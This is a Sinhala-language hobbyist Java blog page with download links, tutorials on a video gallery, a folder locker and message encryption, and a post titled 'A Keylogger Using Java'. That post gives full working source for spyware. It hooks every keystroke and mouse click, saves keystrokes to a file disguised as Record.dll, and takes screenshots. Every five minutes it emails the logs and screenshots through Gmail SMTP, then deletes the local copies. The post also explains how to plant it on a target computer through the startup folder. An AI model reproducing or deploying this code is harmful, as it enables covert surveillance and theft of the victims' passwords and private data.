Download Page



මම මේ page එකේ දාන්නම් latest software එක download කරගන්න ලින්ක් එක.මම software එක update කරන කරන සැරේට මේ ලින්ක් එකත් update කරන්නම්.ඒ වගේම මගේ අනිත් project (සම්පුර්ණ කරපුව සහ test-run)





මේ ලින්ක් එක click කරපුවහම , මේ software එක තියෙන google drive folder එක open වෙනවා.එතනින් ඔයාලට H.B.S.N.exe කියන installer file එක download කරගන්න පුළුවන්.

Other Netbeans Projects




පහල ලින්ක් click කරපුවහම , මේ project එක තියෙන google drive folder එක open වෙනවා.එතනින් ඔයාලට අවශ්‍ය Winrar files download කරගන්න පුළුවන්.






Resources For Projects (API)



පහල ලින්ක් click කරපුවහම , මම projects හදන්න යොදාගත්ත ජාවා API තියෙන google drive folder එක open වෙනවා.එතනින් ඔයාලට අවශ්‍ය API එක download කරගන්න පුළුවන්.



මේ software වැඩ කරන්න නම් ඔයාලගේ පරිගණකයේ java install කරලා තියෙන්න ඕනේ.මේ පහල ලින්ක් එකෙන් ඔයාලට java download කරගන්න පුළුවන්.







Video Gallery



Software Installation 







Software Configurations [ General ]






Software Configurations [ Commands]






Software Configurations [ Automation ]







Software Configurations [ Interfaces & Themes ]










Audio & Video Player








Mp3 Tag Editor & Organizer










Home Automation System









Keylogger Using Java











Message Encrypt & Decrypt





Folder Locker



 



Video Galley


 

34.Video Gallery & Video Player - Updated




ඔන්න මම අද ඔයාලට පෙන්නන්න හදන්නේ මම අලුතින් කරපු වෙනස්කමක් ගැනයි.මෙතැනදී මම කලේ , Video Player එකේ තිබ්බ අඩු පාඩු හදල , Video Playlist එක Video Gallery එකක් විදිහට වෙනස් කරපු එකයි.

 



මෙතැනදී Video Gallery එකේ , අපි select කරලා තියෙන Video Folder එකේ තියෙන ඔක්කොම Video Files ටික icons විදිහට window එකේ පෙන්නනවා. ඒ වගේම ඒ icon එක උඩට mouse එක ගෙනිච්චහම Background එක ඒ අදාළ ෆිල්ම් එක අනුව වෙනස් වෙනවා.




මේ විදිහට icon image එක සහ background image එක වෙනස් වෙන්න අවශ්‍ය විදිහට අපිට ඒ අදාළ images ෆිල්ම් එක තියෙන folder එකට ඇතුලත් කරගන්න සිද්ද වෙනවා.


මෙහිදී icon එකට අවශ්‍ය කරන image එක medium-cover.jpg  විදිහටත් background image එකට අවශ්‍ය කරන image එක Background-cover.jpg විදිහටත් renameකරගන්න අවශ්‍ය වෙනවා.ඒ වගේම icon image එකේ උස පළලට වැඩිය අඩු වෙන්න ඕනේ (H > W) , එමෙන්ම background image එකේ පළල උසට වැඩිය වැඩි වෙන්නත් ඕනේ (W > H).මේ විදිහට අපි අදාළ images දෙක save කරගත්තහම  Video Gallery එකේ Films ටික ලස්සනට පෙන්නනවා.

 ඒ වගේම අපිට පුළුවන් මේ Video Gallery එකේ තියෙන Films වලින් අවශ්‍ය Film එක search කරන්න. 



ඒකට කරන්න තියෙන්නේ ඉහල පින්තුරයේ විදිහට search bar (1) එකේ අපිට search කරගැනීමට අවශ්‍ය ෆිල්ම් එකේ කොටසක් type කර search button (2) එක click කිරීමයි.එතකොට ඒ search එකට අදාළ වෙන ෆිල්ම් එක පමණක් අපිට පෙන්නන්නවා.ඉන්පසු නැවත
Video Gallery එක යථා තත්වයට පත් කිරීමට නම් search bar එක empty කර නැවත search button එක click කිරීමයි.

ඒ වගේම search button එක පසෙකින් තියෙන button එක click කිරීම මගින් අපිට Watched Movies Window එක open කරගන්න පුළුවන්.


ඒ වගේම Video Gallery එකේ film icon එකක් click කිරීම මගින් ඒ අදාළ ෆිල්ම් එක  Video Player එක මගින් play කිරීමට පටන් ගන්නවා.මෙහිදී කියන්න ඕනේ මේ  Video Player එක කලින් තිබ්බ  Video Player එකට වඩා නවීකරණය කරන ලද්දක්.මෙහිදී අපිට ඕනෑම  Video Format එකක් play කිරීමට හැකියාව ලැබෙනවා.

පහල තිබෙන Video එකෙන් ඔයාලට බලාගන්න පුළුවන් කොහොමද මේ අලුත් Video Gallery එක වැඩ කරන්නේ කියල.





මේ අලුත් සංස්කරණය කරපු software එක Download Page එකෙන් බාගත කිරීමට හැකියාව තිබෙනවා.


ඉතින් මම තවත් දවසක මේ වගේ අලුත් දෙයක් අරගෙන ඔයාලට පෙන්නන්න අරගෙන එන්නම්.


33.Folder Locker



මේක තමයි මම Speech Recognition System එකට එකතු කරපු අලුත්ම අංගය.මේ අංගය බාවිතා කරලා අපිට පුළුවන් අපේ පරිගණකයේ තියෙන files සහ folders password එකක් ඇතුලත් කරලා lock කරලා හංගන්න.මේ වැඩසටහනට පහල තියෙන දේවල් කිරීමේ හැකියාවක් තියෙනවා.


  • අපිට අවශ්‍ය ඕනෑම ස්ථානයක locker එකක් සෑදීමට හැකි වීම.
  • පරිගණකයේ locker කිහිපයක් සැදීමට හැකි වීම සහ ඒ ඒ locker එකට වෙන වෙනම passwords වලින් lock කිරීමට හැකි වීම.
  • අපිට lock කරන්න අවශ්‍ය files හෝ folder එක Zip කර lock කිරීමට හැකි වීම.

මේකෙදි අපිට අපේ files lock කරන්න පුළුවන් ක්‍රම දෙකක් තියෙනවා.

එක ක්‍රමයක් තමයි අපිට lock කරන්න අවශ්‍ය files ටික Zip file එකක් විදිහට හදල locker එකට දාල lock කරන්න පුළුවන්.මේ ක්‍රමයේදී file lock කරන්න සැලකිය යුතු වෙලාවක් ගන්නවා.හැබැයි ආරක්ෂාව අතින් වැඩි.

අනිත් ක්‍රමය තමයි අපිට lock කරන්න අවශ්‍ය files ටික ඒ විදිහටම locker එකට දාලා lock කරන්න පුළුවන්.මේ ක්‍රමයේදී file lock කරන්න ඉතාම කෙටි කාලයක් තමයි ගන්නේ .එකේදී ආරක්ෂාව කලින් ක්‍රමයට වඩා ටිකක් අඩුයි.


හරි අපි දැන් බලමු කොහොමද මේ software එක උපයෝගී කරගෙන file එකක් lock කරන්නේ කියල.
 


හරි එහෙනම් අපිට මුලින්ම වෙනවා උඩ තියෙන පින්තුරයේ විදිහට , Speech Recognition software එකේ Accessories window එකේ දෙවෙනි page එකට යන්න.එකේ උඩ තියෙන විදිහට folder locker icon එක click කරන්න එතකොට පහල පින්තුරයේ විදිහට folder locker එක open වෙනවා.



මෙතැනදී මම නම්බර පිළිවෙලට පැහැදිලි කරන්නම්.

01.මේ button එක click කිරීම මගින් අපිට පුළුවන් locker එකක් හදන්න අවශ්‍ය ස්ථානයක් තෝරලා දෙන්න හෝ , කලින් හදපු locker එකක් තියෙන ස්ථානයක් තෝරලා දීල ඒ locker එක access කරන්න.

02.මේ button එක click කිරීම මගින් අපිට පුළුවන් අපිට lock කිරීමට අවශ්‍ය files ටික තෝරලා දෙන්න.

03.මේ button එක click කිරීම මගින් අපිට පුළුවන් අපිට lock කිරීමට අවශ්‍ය files ටික image එකක් තුල හංගන්න.මෙතැනදී අපි අවශ්‍ය image එකක් තෝරලා දෙන්න ඕනේ.

04.මේ button එක click කිරීම මගින් අපිට පුළුවන් locker එක password එකක් සමග lock කිරීමට.

05.මේ button එක click කිරීම මගින් අපිට පුළුවන් lock කරලා තියෙන locker එකක් , lock කරන්න දීපු password එක enter කිරීම මගින් unlock කරගන්න.


ප්‍රධාන වශයෙන් මේ වැඩසටහනේ ක්‍රියාකාරිත්වය ඔය විදිහට තමයි වෙන්නේ.

ඒ වගේම මම කලින් කිව්වනේ අපිට අපේ files ක්‍රම දෙකක් යටතේ lock කරන්න පුළුවන් කියල.දැන් මම වෙන වෙනම කියල දෙන්නම් ඒ ක්‍රම දෙක මගින් files lock කරන විදිහ.


පළමු ක්‍රමය ( Slow But More Secure )



මේ ක්‍රමයේදී පහත පිළිවෙල අනුගමනය කරන්න ඕනේ.

  1. නොම්බර 2 button එක click කිරීම මගින් අවශ්‍ය files / folder එක තෝරලා දීම.
  2.   නොම්බර 3 button එක click කිරීම මගින් image file එකක් තෝරලා දීම.
  3. නොම්බර 4 button එක click කිරීම මගින් locker එක lock කිරීම.

මේ ක්‍රමයේදී වෙන්නේ , අපි තෝරලා දෙන files ටික zip file එකක් බවට පරිවර්තනය කරලා අපි තෝරලා දුන්න image file එක ඇතුලේ ඒ zip file එක හංගල locker එක lock කිරීම.


දෙවන ක්‍රමය ( Fast But Less Secure )



මේ ක්‍රමයේදී පහත පිළිවෙල අනුගමනය කරන්න ඕනේ.

  1. නොම්බර 2 button එක click කිරීම මගින් අවශ්‍ය files / folder එක තෝරලා දීම.
  2. නොම්බර 4 button එක click කිරීම මගින් locker එක lock කිරීම.

මේ ක්‍රමයේදී වෙන්නේ අපි තෝරලා දුන්න files ටික ඒ විදිහටම locker එක ඇතුලට දාලා locker එක lock කරන එකයි.


හරි මේ software එක ගැන කියන්න තියෙන්නේ ඔච්චර තමයි . මේ පහල තියෙන වීඩියෝ එක බලල ඔයාලට තේරුම් ගන්න පුළුවන් කොහොමද මේකෙන් වැඩ ගන්නේ කියල





ඉදිරියට අලුතින් හදන දේවල් මම අලුත් පොස්ට් වලින් දැනුවත් කරන්නම්.

32.Message Encrypt / Decrypt




මේක තමයි මම Speech Recognition System එකට එකතු කරපු අලුත්ම අංගය.මේ අංගය බාවිතා කරලා අපිට පුළුවන් තවත් කෙනෙක්ට යවන message එකක් encrypt කරලා යවන්න.ඒ කියන්නේ ඒ message එකවිකුර්ති කරලා එකට password එකක් දාල යවන්න.ඒ වගේම තමයි ඒ encrypt කරපු message එක බලන අනිත් කෙනාට මේ software එකම තියෙන්න ඕනේ අතර , අපි මේ message එක encrypt කරද්දී යොදාගත්ත password එකම ඕනේ ,ඒ message එක decrypt කරන්නත්.හරි අපි දැන් බලමු එක කරන්නේ කොහොමද කියල.මම පහලින් පින්තුර මගින් විස්තර කරන්නම් වැඩේ කරන හැටි.






මුලින්ම Quick Launch Panel එක open කරගෙන දෙවෙනි page එකට යන්න.ඊට පස්සේ  උඩ පින්තුරයේ කොළ පාටින් රවුම් කරලා තියෙන icon එක click කරන්න.එතකොට application එක open වෙනවා.





ඊට පස්සේ උඩ තියෙන පින්තුරයේ විදිහට අපිට අවශ්‍ය message එක කොළ පාටින් රවුම් කරලා තියෙන area එකේ type හෝ කොපි කරන්න ඕනේ.





ඊට පස්සේ පහලින් තියෙන encrypt කියන button එක click කරන්න ඕනේ , එතකොට open වෙනවා password එකක් සෙට් කරන්න window එකක්.





ඔය උඩ තියෙන window එකේ අපිට කැමති password එකක් දීල ok කියන button එක click කරන්න ඕනේ.මෙතැනදී දෙන password එකම තමයි , අනිත් පුද්ගලයා මේ message එක decrypt කරද්දී දෙන්න ඕනේ.





ඒ විදිහට password එකක් දීල ok කලාට පස්සේ , මෙන්න මේ විදිහට අපිට ඒ message එක encrypt කරලා දෙනවා.ඊට පස්සේ අපිට තියෙන්නේ මේ encrypted message එක select කරලා control+v click කරලා මේ message එක copy කරලා අදාළ පුද්ගලයට යවන එකයි.





හරි අපි දැන් බලමු අපිට මේ software එක මගින්ම encrypt කරලා එවපු message එකක් decrypt කරන්නේ කොහොමද කියල. එතැනදී , encrypted message එක උඩ තියෙන පින්තුරයේ වගේ text area එකේ paste කරලා පහලින් තියෙන decrypt කියන button එක click කරන්න ඕනේ.





ඊට පස්සේ අපිට උඩපින්තුරයේ විදිහට password එකක් දෙන්න window එකක් open වෙනවා.මෙතැනදී අපිpassword එක විදිහට දෙන්න ඕනේ , අනිත් පුද්ගලයා මේ message එක encrypt කරද්දී දුන්න password එකයි.ඊට පස්සේ ok button එක click කරන්න ඕනේ.







ඊට පස්සේ අපිට උඩ පින්තුරයේ විදිහට ඒ encrypt කරපු message එක decrypt කරලා පෙන්නනවා.


මේ පහල තියෙන වීඩියෝ එකෙන් ඔයාලට මේ වැඩේ කරන හැටි පැහැදිලිව බලාගන්න පුළුවන්.







ඉදිරියට අලුතින් හදන දේවල් මම අලුත් පොස්ට් වලින් දැනුවත් කරන්නම්.



31.A Keylogger Using Java




අද මම කියල දෙන්න යන්නේ Speech Recognition System එකට අදාළ නොවෙන දෙයක් උනත් , කව්රුත් වගේ උනන්දු දෙයක් ගැනයි.ඒ තමයි පොඩි හැකින් පාරක් දාගන්න පුළුවන් ක්‍රමයක්.මේකෙදි මම කියල දෙන්න යන්නේ ජාවා උපයෝගී කරගෙන සරල Keylogger එකක් හදන්නේ කොහොමද කියල.

මොකක්ද මේ keylogger එකක් කියන්නේ? keylogger එකක් කියල කියන්නේ , අපි අපේ පරිගණකයේ යතුරු පුවරුව මගින් ඇතුලත් කරනු ලබන දත්ත (characters) මොනවද කියල හදුනාගෙන , ඒවා පිටස්තර පුද්ගලයන්ට ලබාදෙන program එකක්.මෙමගින් අපිට බලාගන්න පුළුවන් , එම keylogger එක ස්ථාපනය කරලා තියෙන පරිගණකය බාවිතා කරන පුද්ගලයා මොනාද කරන්නේ , කියන එක.

නමුත් ජාවා වලින් මේ වැඩේ කරන කරන එක අපි හිතන තරම් ලේසි පහසු දෙයක් නෙමෙයි.ඒකට හේතුව තමයි.ජාවා වැඩසටහන් ක්‍රියාත්මක වෙන්නේ JRE කියන virtual environment එකක් ඇතුලේ.එම නිසා ජාවා වලට හැකියාවක් නැහැමෙහෙයුම් පද්දතියට අදාළ දේවල් වලට බලපෑම් ඇති කරන්න.නමුත් අපිට පුළුවන් C , C++ වගේ පරිගණක භාෂාවකින් නිර්මාණය කරපු වැඩසටහනක් මාර්ගයෙන් මෙහෙයුම් පද්දතියට බලපෑම් ඇති කරන්න පුළුවන්.

එතකොට අපි කොහොමද ජාවා වලින් මේ වැඩේ කරන්නේ.ඒකට තියෙන විසදුම තමයි C හෝ C++ වලින් නිර්මාණය කරපු වැඩසටහනක් ජාවා සමග සම්බන්ධ කරගෙන , මෙහෙයුම් පද්දතියට සම්බන්ද වෙන එක.අපි මේ වැඩේට යොදාගන්නවා JNativeHook කියන API එක.

හරි දැන් බලමු කොහොමද අපි මේ keylogger එක නිර්මාණය කරගන්නේ කියල.අපිට මේ වැඩේ කරන්න පහත සදහන් කරලා තියෙන API ටික අවශ්‍ය කරනවා.පහල ලින්ක් click කිරීම මගින් අපිට ඒ API එක බාගත කිරීමට පුළුවන්.



මේ වැඩසටහනේ ක්‍රියාකාරිත්වය කොහොමද වෙන්නේ කියල කියනවනම් , මේකෙදි වෙන්නේ අපි යතුරු පුවරුවෙන් ඇතුලත් කරන සෑම දත්තයක්ම තවකලිවකව මතකයේ තබාගෙන ඉදල Enter Button එක click කරපු සැනෙකින්ම file එකකට ඒ මතකයේ තබාගත්ත දත්ත ටික ඇතුලත් කරනු ලබනවා.ඒ වගේ අපි ඇතුලත් කරන සෑම දත්තයක්ම එම file එකට ඇතුලත් කරනවා.ඊට අමතරව අපි mouse එක click කරන වාරයක් වාරයක් පාසා අපේ පරිගණකයේ Screenshot එකක් අරගෙන එකත් image file එකක් විදිහට save කරගන්නවා.ඊට පස්සේ සෑම විනාඩි 5කට සැරයක් , අපි ඒ keyboard එක මාර්ගයෙන් ඇතුලත් කරපු දත්ත සහ සෑම Screenshot එකක්ම අපි දීල තියෙන mail address එකකට mail කරනවා.

හරි අපි දැන් බලමු වැඩසටහන කොහොමද තියෙන්නේ කියල.මෙම වැඩ සටහන මම නිර්මාණය කරන්නේ Netbeans කියන IDE එක උපයෝගී කරගෙනයි.මෙතන classes දෙකක් තියෙනවා, එකක් තමයි main class එක අනිත් එක තමයි jframe class එක.මම මුලින්ම දාන්නම් main class එක ඇතුලේ තියෙන basic methods ටික.

import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
import org.jnativehook.mouse.NativeMouseEvent;
import org.jnativehook.mouse.NativeMouseListener;


public class Keyboard implements NativeKeyListener, NativeMouseListener {


public static String Text = "";
public static String Temp;
public static ImageIcon Image;
public static BufferedImage Capture;
public static Rectangle Screen;
public static File Image_File;
public static File Text_File = new File("C:\\Default\\Record.dll");
public static File Common_File;
public static ArrayList<String> Images = new ArrayList<>();
public static BufferedReader Reader;
public static String Line;
public static String Exist_Record;
public static String Content;

public static void main(String[] args) throws InterruptedException, Exception {

               
        System.out.println("Operation Started");
 

        try {

            GlobalScreen.registerNativeHook();

        } catch (Exception e) {

        }

        GlobalScreen.getInstance().addNativeKeyListener(new Keyboard());
        GlobalScreen.getInstance().addNativeMouseListener(new Keyboard());

       
    }
   
     @Override
    public void nativeKeyPressed(NativeKeyEvent e) {

        Temp = NativeKeyEvent.getKeyText(e.getKeyCode()).toLowerCase();

        Text = Text + Temp;

        if (NativeKeyEvent.getKeyText(e.getKeyCode()).toLowerCase().equals("enter")) {

            Record(Text);

        }

    }


@Override
    public void nativeMouseClicked(NativeMouseEvent me) {

        Screenshot();

    }


public void Record(String New_Record) {

        try {

            Reader = new BufferedReader(new FileReader(Text_File));

            while ((Line = Reader.readLine()) != null) {

                Exist_Record = Line;

            }

        } catch (IOException e) {

        } finally {
            try {
                if (Reader != null) {
                    Reader.close();
                }
            } catch (IOException ex) {
            }
        }

//------------------------------------------------------------------------------
        try {

            Content = Exist_Record + " | " + New_Record;

            if (!Text_File.exists()) {

                Text_File.createNewFile();
            }

            FileWriter fw = new FileWriter(Text_File.getAbsoluteFile());

            try (BufferedWriter bw = new BufferedWriter(fw)) {

                bw.write(Content);
            }

        } catch (IOException e) {
        }

        Text = "";
        System.out.println("New Text");

    }


public void Screenshot() {

        try {

            String Name = System_Time + " " + System_Date;
            Name = Name.replace(":", ".");

            Image_File = new File("C:\\Default\\" + Name + ".jpeg");
            Screen = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
            Capture = new Robot().createScreenCapture(Screen);
            Image = new ImageIcon(Capture);
            ImageIO.write(Capture, "jpeg", Image_File);
            Images.add(Image_File.getAbsolutePath());

            System.out.println("Screenshot Created");

        } catch (HeadlessException | AWTException | IOException x) {

        }

    }


}

දැන් මම දාන්නම් jframe class එක ඇතුලට එන methods ටික.



public class Frame extends javax.swing.JFrame {


public Frame() throws InterruptedException {

initComponents();

System.out.println("Checking For Unattended Text File");

if (Text_File.exists()) {

MailFile(Text_File.getAbsolutePath(), MSG);

}


new Thread() {
@Override
public void run() {

int T = 0;

while (T == 0) {

try {

Thread.sleep(500);

System_Time();
System_Date();
TimeKeeper();

} catch (InterruptedException | javax.mail.internet.ParseException ex) {

}

}

}

}.start();

}


public static String System_Time;
public static String System_Date;
public static DateFormat Time_Format = new SimpleDateFormat("hh:mm:ss a");
public static DateFormat Date_Format = new SimpleDateFormat("dd-MMM-yyyy");

public static String[] Time_Array = {"07:00:00 AM", "07:05:00 AM", "07:10:00 AM", "07:15:00 AM", "07:20:00 AM", "07:25:00 AM", "07:30:00 AM", "07:35:00 AM", "07:40:00 AM", "07:45:00 AM", "07:50:00 AM", "07:55:00 AM", "08:00:00 AM", "08:05:00 AM", "08:10:00 AM", "08:15:00 AM", "08:20:00 AM", "08:25:00 AM", "08:30:00 AM", "08:35:00 AM", "08:40:00 AM", "08:45:00 AM", "08:50:00 AM", "08:55:00 AM", "09:00:00 AM", "09:05:00 AM", "09:10:00 AM", "09:15:00 AM", "09:20:00 AM", "09:25:00 AM", "09:30:00 AM", "09:35:00 AM", "09:40:00 AM", "09:45:00 AM", "09:50:00 AM", "09:55:00 AM", "10:00:00 AM", "10:05:00 AM", "10:10:00 AM", "10:15:00 AM", "10:20:00 AM", "10:25:00 AM", "10:30:00 AM", "10:35:00 AM", "10:40:00 AM", "10:45:00 AM", "10:50:00 AM", "10:55:00 AM", "11:00:00 AM", "11:05:00 AM", "11:10:00 AM", "11:15:00 AM", "11:20:00 AM", "11:25:00 AM", "11:30:00 AM", "11:35:00 AM", "11:40:00 AM", "11:45:00 AM", "11:50:00 AM", "11:55:00 AM", "12:00:00 PM", "12:05:00 PM", "12:10:00 PM", "12:15:00 PM", "12:20:00 PM", "12:25:00 PM", "12:30:00 PM", "12:35:00 PM", "12:40:00 PM", "12:45:00 PM", "12:50:00 PM", "12:55:00 PM", "01:00:00 PM", "01:05:00 PM", "01:10:00 PM", "01:15:00 PM", "01:20:00 PM", "01:25:00 PM", "01:30:00 PM", "01:35:00 PM", "01:40:00 PM", "01:45:00 PM", "01:50:00 PM", "01:55:00 PM", "02:00:00 PM", "02:05:00 PM", "02:10:00 PM", "02:15:00 PM", "02:20:00 PM", "02:25:00 PM", "02:30:00 PM", "02:35:00 PM", "02:40:00 PM", "02:45:00 PM", "02:50:00 PM", "02:55:00 PM", "03:00:00 PM", "03:05:00 PM", "03:10:00 PM", "03:15:00 PM", "03:20:00 PM", "03:25:00 PM", "03:30:00 PM", "03:35:00 PM", "03:40:00 PM", "03:45:00 PM", "03:50:00 PM", "03:55:00 PM", "04:00:00 PM", "04:05:00 PM", "04:10:00 PM", "04:15:00 PM", "04:20:00 PM", "04:25:00 PM", "04:30:00 PM", "04:35:00 PM", "04:40:00 PM", "04:45:00 PM", "04:50:00 PM", "04:55:00 PM", "05:00:00 PM", "05:05:00 PM", "05:10:00 PM", "05:15:00 PM", "05:20:00 PM", "05:25:00 PM", "05:30:00 PM", "05:35:00 PM", "05:40:00 PM", "05:45:00 PM", "05:50:00 PM", "05:55:00 PM", "06:00:00 PM", "06:05:00 PM", "06:10:00 PM", "06:15:00 PM", "06:20:00 PM", "06:25:00 PM", "06:30:00 PM", "06:35:00 PM", "06:40:00 PM", "06:45:00 PM", "06:50:00 PM", "06:55:00 PM", "07:00:00 PM", "07:05:00 PM", "07:10:00 PM", "07:15:00 PM", "07:20:00 PM", "07:25:00 PM", "07:30:00 PM", "07:35:00 PM", "07:40:00 PM", "07:45:00 PM", "07:50:00 PM", "07:55:00 PM", "08:00:00 PM", "08:05:00 PM", "08:10:00 PM", "08:15:00 PM", "08:20:00 PM", "08:25:00 PM", "08:30:00 PM", "08:35:00 PM", "08:40:00 PM", "08:45:00 PM", "08:50:00 PM", "08:55:00 PM", "09:00:00 PM", "09:05:00 PM", "09:10:00 PM", "09:15:00 PM", "09:20:00 PM", "09:25:00 PM", "09:30:00 PM", "09:35:00 PM", "09:40:00 PM", "09:45:00 PM", "09:50:00 PM", "09:55:00 PM", "10:00:00 PM", "10:05:00 PM", "10:10:00 PM", "10:15:00 PM", "10:20:00 PM", "10:25:00 PM", "10:30:00 PM", "10:35:00 PM", "10:40:00 PM", "10:45:00 PM", "10:50:00 PM", "10:55:00 PM", "11:00:00 PM", "11:05:00 PM", "11:10:00 PM", "11:15:00 PM", "11:20:00 PM", "11:25:00 PM", "11:30:00 PM", "11:35:00 PM", "11:40:00 PM", "11:45:00 PM", "11:50:00 PM", "11:55:00 PM"};

public static String MSG;


public void System_Time() throws javax.mail.internet.ParseException {

System_Time = Time_Format.format(new Date());

MSG = System.getProperty("user.name") + "\n" + System_Time + "\n" + System_Date + "\n" + Time_Format.getTimeZone().getDisplayName() + "\n\n";

}


public void System_Date() {

Calendar Currentdate = Calendar.getInstance();
System_Date = Date_Format.format(Currentdate.getTime());

}


public void TimeKeeper() {

for (String Time_Array1 : Time_Array) {

if (System_Time.equals(Time_Array1)) {

System.out.println("Times Equals");

if (Text_File.exists()) {

MailFile(Text_File.getAbsolutePath(), MSG);
}

if (!Images.isEmpty()) {

MailIMG(MSG);
}
}
}

}


public void MailFile(String FILE, String TXT) {

try {

if (TXT == null) {

TXT = "Please Find The Attachement";
}

Thread.currentThread().setContextClassLoader(getClass().getClassLoader());

MailcapCommandMap mc = (MailcapCommandMap) CommandMap.getDefaultCommandMap();
mc.addMailcap("text/html;; x-java-content-handler=com.sun.mail.handlers.text_html");
mc.addMailcap("text/xml;; x-java-content-handler=com.sun.mail.handlers.text_xml");
mc.addMailcap("text/plain;; x-java-content-handler=com.sun.mail.handlers.text_plain");
mc.addMailcap("multipart/*;; x-java-content-handler=com.sun.mail.handlers.multipart_mixed");
mc.addMailcap("message/rfc822;; x-java-content- handler=com.sun.mail.handlers.message_rfc822");

Properties props = new Properties();
props.put("mail.smtp.auth", true);
props.put("mail.smtp.starttls.enable", true);
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");

Session session = Session.getInstance(props, new javax.mail.Authenticator() {
@Override
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});

Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("your email address"));
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("to email address"));
message.setSubject("New Keyboard Record");
message.setText(TXT);
MimeBodyPart messageBodyPart = new MimeBodyPart();
Multipart multipart = new MimeMultipart();

//------------------------------------------------------------------------------
messageBodyPart = new MimeBodyPart();
DataSource source = new FileDataSource(FILE);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(new File(FILE).getName());
multipart.addBodyPart(messageBodyPart);
//------------------------------------------------------------------------------

message.setContent(multipart);
Transport.send(message);
System.out.println("Text File Sent");

if (Text_File.exists()) {

Text_File.delete();
Text_File = null;
System.out.println("Text File Deleted");
System.out.println();

}

} catch (MessagingException ex) {

}

}


public void MailIMG(String TXT) {

try {

if (TXT == null) {

TXT = "Please Find The Attachement";
}

Thread.currentThread().setContextClassLoader(getClass().getClassLoader());

MailcapCommandMap mc = (MailcapCommandMap) CommandMap.getDefaultCommandMap();
mc.addMailcap("text/html;; x-java-content-handler=com.sun.mail.handlers.text_html");
mc.addMailcap("text/xml;; x-java-content-handler=com.sun.mail.handlers.text_xml");
mc.addMailcap("text/plain;; x-java-content-handler=com.sun.mail.handlers.text_plain");
mc.addMailcap("multipart/*;; x-java-content-handler=com.sun.mail.handlers.multipart_mixed");
mc.addMailcap("message/rfc822;; x-java-content- handler=com.sun.mail.handlers.message_rfc822");

Properties props = new Properties();
props.put("mail.smtp.auth", true);
props.put("mail.smtp.starttls.enable", true);
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");

Session session = Session.getInstance(props, new javax.mail.Authenticator() {
@Override
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});

Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("your email address"));
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("to email address"));
message.setSubject("New Screenshots");
message.setText(TXT);
MimeBodyPart messageBodyPart = new MimeBodyPart();
Multipart multipart = new MimeMultipart();

//------------------------------------------------------------------------------
if (Images != null) {

for (String Images1 : Images) {

messageBodyPart = new MimeBodyPart();
DataSource source = new FileDataSource(Images1);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(new File(Images1).getName());
multipart.addBodyPart(messageBodyPart);

}

}
//------------------------------------------------------------------------------

message.setContent(multipart);
Transport.send(message);
System.out.println("Image Files Sent");

if (!Images.isEmpty()) {

for (String Image : Images) {

File f = new File(Image);
f.delete();
}

for (int i = Images.size() - 1; i >= 0; i--) {

Images.clear();

}

}

System.out.println("Image Files Deleted");

} catch (MessagingException ex) {

}

}


} 


ඔන්න ඔහොම තමයි program එක තියෙන්නේ.

ඊට පස්සේ අපිට සිද්ද වෙනවා අදාළ පරිඝනකයේ පහල තියෙන වෙනස්කම් සිදු කරන්න.

  • මෙම වැඩසටහන එම පරිඝනකයේ ස්ථාපනය (copy) කරන්න ඕනේ lib folder එකත් සමගම.
  • startup folder එකේ මෙම වැඩසටහනට shortcut එකක් create කරන්න ඕනේ.
  • c: partition එකේ Default කියල folder එකක් හදන්න ඕනේ.(C:\Default).
  • එම පරිඝනකයේ ජාවා ස්ථාපනය (install) කරලා තියෙන්න ඕනේ.

මම මේ program එක Download Page එකේ දාන්නම් download කරගන්න .




පහල වීඩියෝ එකෙන් මේ program එක පරිගණකයට ස්ථාපනය කරන හැටි බලාගන්න පුළුවන්.